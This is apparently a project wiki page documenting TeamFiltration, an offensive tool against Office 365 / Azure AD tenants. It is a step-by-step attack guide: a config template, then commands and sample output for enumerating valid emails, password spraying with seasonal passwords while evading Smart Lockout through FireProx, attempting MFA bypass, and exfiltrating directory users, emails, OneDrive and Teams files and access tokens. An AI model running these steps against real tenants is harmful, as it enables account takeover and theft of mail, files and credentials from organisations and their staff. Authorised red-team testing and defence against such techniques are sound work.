Skip to content
Melvin L edited this page Nov 8, 2023 · 5 revisions

TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 AAD accounts. TeamFiltration, much like CrackMapExec, creates and maintains an on-disk database with information to keep track of past and ongoing operations. The database is built using LiteDB and can be browsed manually on-disk using their open source LiteDB Studio Windows tool.

Information such as valid user accounts, previously attempted username and password combinations, valid username and password combinations, retrieved access tokens, and much more. This information is kept not only for later access and an easier reporting process, but also to avoid account lockouts and unnecessary login attempts.

PickMe

This also creates a typical usage flow, much in line with how password spraying attacks are usually performed. Starting with enumeration (OSINT), moving on to user validation, password spraying, and ending with post-exploitation activities such as data exfiltration.

Picture1

Quick Start Guide

In order to use the enumeration and spraying module within TeamFiltration , you will need to provide a json config file. The exfiltration module can be used standalone without said config file. This configuration file contains information such as PushoverAPI keys, Dehashed API keys, AWS API keys and much more. TeamFiltration heavily uses FireProx in order to slow Azure Smart Lockout down, a method first publicly showcased by the awesome people over at Black Hills Information Security

If you hate reading, check out my YouTube series on how to get started as well: Attacking O365 with TeamFiltration Part 1 - Getting started

Creating your JSON config file

Definitions for each of the JSON properties can be found further down, all JSON properties must be present in the config, but not all require actual values.

{
    "pushoverAppKey": "",
    "pushoverUserKey": "",
    "dehashedEmail" : "",
    "dehashedApiKey": "", 
    "sacrificialO365Username": "sacrificial@domain.org", 
    "sacrificialO365Passwords": "MySacrificialPassword123!" ,  
    "proxyEndpoint": "http://127.0.0.1:8080",
    "AWSAccessKey": "",
    "AWSSecretKey": "",
    "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.30866 Chrome/80.0.3987.165 Electron/8.5.1 Safari/537.36",
    "AwsRegions":["us-east-1","us-west-1","us-west-2"]
  }

pushoverAppKey This is your Pushover Application Token / API Token (Optional).

pushoverUserKey This is your Pushover Application User Key / User Token (Optional).

dehashedApiKey Your Dehashed API key for auth (Optional).

dehashedEmail Your Dehashed Account Email key for auth (Optional).

sacrificialO365Username The username / email for the sacrificial Office365 account used for perfoming enumeration using the Teams API method. (Optional, but cannot have MFA / Conditional access enabled, dohh)

sacrificialO365Passwords The password for the sacrificial Office365 account used for perfoming enumeration using the Teams API method. (Optional).

proxyEndpoint HTTP endpoint used for inspecting traffic / debugging purposes, eg Burp,MitMProxy etc.

AWSAccessKey This is your AWS API Access Key, used to generate FireProx instances.

AWSSecretKey This is your AWS API Secret Key, used to generate FireProx instances.

userAgent UserAgent is to be used for all HTTP requests made by TeamFiltration

AwsRegions The array of AWS regions to generate FireProx instances in

See the following AWS Documentation on how to create a set of AWS Access Keys for your account. In order to use the --validate-teams enumeration method you need to provide a sacrificial Office 365 user account in the JSON config. This account cannot have MFA enforced and must be joined in AAD with an valid Microsoft 365 Business Basic license. With the configuration file created, you are finally ready to use TeamFiltration.

TeamFiltration basics

You will always need to provide an --outpath for all modules, this path is where the database will be created and where any information produced from the modules will be stored. This must be a folder path, NOT AN FILE, if you specify a folder path that does not exist, it will be created for you. --outpath acts as a localised workspace / project folder.

For all of the modules, except exfiltration (--exfil), you will need to provide your JSON configuration file using --config. The help menu can always be accessed using --help. Below is a typical attack flow intended to give you a practical feel on how TeamFiltration might be used.

Typical Attack Flow

Start the external by performing recon using Dehashed, Linkedin, Hunter.io, Google Dorks etc. When you figured out what the email syntax for the company is, you are ready to enumerate and validate emails that exists within the target o365 tenant

Start the enum with the following command, where --domain is your target client domain name

 TeamFiltration.exe --outpath C:\Clients\Example\TFOutput --config myConfig.json --enum --validate-teams --domain legitcorp.net

TeamFiltration will prompt you to choose the enumerated email syntax. This will pull different emails and syntaxes from the statistically likely usernames repo. Once you select a syntax, TeamFiltration will use its passive and unsaturated Teams method to validate them (hence the --validate-teams argument)

[♥] TeamFiltration VX.X.X, created by @Flangvik
[+] Args parsed --outpath F:\Clients\Example\TFOutput --config myConfig.json --enum --validate-teams --domain legitcorp.net
[+] No usernames list provided, pulling statistically-likely-usernames
[?] Provide a target domain/tenant (e.g legitcorp.net) #> legitcorp.net
    |=> [1] john.smith@legitcorp.net
    |=> [2] john@legitcorp.net
    |=> [3] johnjs@legitcorp.net
    |=> [4] johns@legitcorp.net
    |=> [5] johnsmith@legitcorp.net
    |=> [6] jsmith@legitcorp.net
    |=> [7] smith@legitcorp.net
    |=> [8] smithj@legitcorp.net
    |=> [9] john_smith@legitcorp.net

[?] Select an email format #> 1

If you would like to supply your own list of emails to validate, simply use the --usernames argument. The argument expect a file with full emails seperated by newlines. Validated emails get stored automatically in the TeamFiltration.db file located in the --outpath folder. This way, there is no need to supply data manually through each module.

[ENUM] 24.05.2021 12:31:05 EST Filtering out previusly attempted accounts
[ENUM] 24.05.2021 12:31:06 EST Enumerating 248231 possible accounts, this will take ~14 minutes
[ENUM] 24.05.2021 12:31:07 EST Successfully got Teams token for sacrificial account
[ENUM] 24.05.2021 12:31:07 EST Loaded 248231 usernames
[ENUM] 24.05.2021 12:31:08 EST enita.lintz@legitcorp.net valid!
[ENUM] 24.05.2021 12:31:09 EST bruce.wayne@legitcorp.net valid!
[ENUM] 24.05.2021 12:31:13 EST herminia.oliva@legitcorp.net valid!
[ENUM] 24.05.2021 12:31:13 EST thomas.anderson@legitcorp.net valid!
[ENUM] 24.05.2021 12:31:17 EST sharilyn.penning@legitcorp.net valid!

Next up we will spray the validated emails with the following command

 TeamFiltration.exe --outpath C:\Clients\Example\TFOutput --config myConfig.json --spray --sleep-min 120 --sleep-max 200 

When no passwords list is provided, TeamFiltration will generate its own based on the Month, Season, and year! You can also choose to generate either of them specifally using --seasons-only, --months-only or --common-only. If you would like to supply your own passwordlist, simply use the --passwords argument.

[♥] TeamFiltration VX.X.X, created by @Flangvik
[+] Args parsed --outpath F:\Clients\Example\TFOutput --config myConfig.json --spray --sleep-min 120 --sleep-max 200 
[SPRAY] 24.05.2021 12:33:54 EST Sleeping between 60-100 minutes for each round
[SPRAY] us-west-1 24.05.2021 12:33:55 EST Sprayed renita.lintz@legitcorp.net:Spring2021!          => INVALID
[SPRAY] us-west-1 24.05.2021 12:33:55 EST Sprayed bruce.wayne@legitcorp.net:Spring2021!           => INVALID
[SPRAY] us-west-1 24.05.2021 12:33:57 EST Sprayed herminia.oliva@legitcorp.net:Spring2021!        => INVALID
[SPRAY] us-west-1 24.05.2021 12:33:57 EST Sprayed biff.tannen@legitcorp.net:Spring2021!           => INVALID
[SPRAY] us-west-1 24.05.2021 12:33:58 EST Sprayed elijah.blakley@legitcorp.net:Spring2021!        => INVALID
[SPRAY] us-west-1 24.05.2021 12:33:58 EST Sprayed thomas.anderson@legitcorp.net:Spring2021!       => VALID NO MFA!
[SPRAY] us-west-1 24.05.2021 12:33:59 EST Sprayed chris.kelly@legitcorp.net:Spring2021!           => INVALID
[SPRAY] us-west-1 24.05.2021 12:33:59 EST Sprayed deadpool@legitcorp.net:Spring2021!              => INVALID
[SPRAY] us-west-1 24.05.2021 12:34:00 EST Sprayed sharilyn.penning@legitcorp.net:Spring2021!      => INVALID
[SPRAY] us-west-1 24.05.2021 12:34:01 EST Sprayed master.kevin@legitcorp.net:Spring2021!          => INVALID
[SPRAY] us-west-1 24.05.2021 12:34:01 EST Sprayed adam.wally@legitcorp.net:Spring2021!            => INVALID
[SPRAY] 24.05.2021 12:34:01 EST Sleeping 78 before next spray

With a set of valid credentials found, we can move into the exfil module. The valid credentials and account information is stored in the teamfiltration database, so you do not need to provide them when using the --exfil module.

 TeamFiltration.exe --outpath C:\Clients\Example\TFOutput --config myConfig.json --exfil --aad

This will attempt to bypass any MFA, and if successful, exfiltrate information from resources accessible within o365. The --aad or Azure Active Directory plugin will attempt to exfiltrate all users, groups, and domains from the o365 tenant. All new users will automatically be added to the database as valid users.

[♥] TeamFiltration VX.X.X, created by @Flangvik
[+] Args parsed --outpath F:\Clients\Example\TFOutput --config myConfig.json --exfil --aad
[+] You can select multiple users using syntax 1,2,3 or 1-3
    |-> 0 - thomas.anderson@legitcorp.net
    |-> ALL - Everyone!

[?] What user to target ? #> 0
[EXFIL] 24.05.2021 12:35:43 EST Attempting to exfiltrate using provided token
[EXFIL] 24.05.2021 12:35:44 EST Refreshed a token for => https://outlook.office365.com
[EXFIL] 24.05.2021 12:35:45 EST Refreshed a token for => https://api.spaces.skype.com
[EXFIL] 24.05.2021 12:35:45 EST Cross-resource-refresh allowed, we can exfil all that things!
[EXFIL] 24.05.2021 12:35:53 EST Refreshed a token for => https://graph.windows.net
[EXFIL] 24.05.2021 12:35:54 EST Refreshed a token for => https://graph.microsoft.com
[EXFIL] 24.05.2021 12:35:54 EST Exfiltrating AAD users and groups via MS AD Graph API
[EXFIL] 24.05.2021 12:35:58 EST Exfiltrating AAD users and groups via MS graph API
[EXFIL] 24.05.2021 12:35:59 EST Got 133 AAD users, appending to database as valid users!

With those new valid accounts added, we can go back to the spraying module and successfully hit all the accounts in the domain.

You can also exfiltrate Emails + Attachments, OneDrive files, Teams Chat Logs + Attachments, and raw JWT tokens using different exfil plugins as shown in the --help menu.

         --all                 Exfiltrate information from ALL SSO resources (Graph, OWA, SharePoint, OneDrive, Teams)
         --aad                 Exfiltrate information from Graph API (domain users and groups)
         --teams               Exfiltrate information from Teams API (files, chatlogs, attachments, contactlist)
         --onedrive            Exfiltrate information from OneDrive/SharePoint API (accessible SharePoint files and the users entire OneDrive directory)
         --owa                 Exfiltrate information from the Outlook REST API (The last 2k emails, both sent and received)
               --owa-limit     Set the max amount of emails to exfiltrate, default is 2k.
         --tokens              Exfiltrate JSON formated JTW-tokens for SSO resources (MsGraph,AdGraph, Outlook, SharePoint, OneDrive, Teams)

FAQ

  • You cannot run multiple instances of TeamFiltration with the same --outpath, this will cause a LiteDB file write collision!
  • --outpath is mandatory and needs to be supplied for each module
  • --outpath is client specific across all modules
  • --outpath IS A FOLDER PATH, not a file.
  • Question or bug? Hit me up on Twitter or create an issue
  • In order to use the --validate-teams enumeration method you need to provide a sacrificial Office 365 user account. This account cannot have MFA enforced and must be joined in AAD with an valid Basic license. (sacrificialO365Username and sacrificialO365Password in the config file)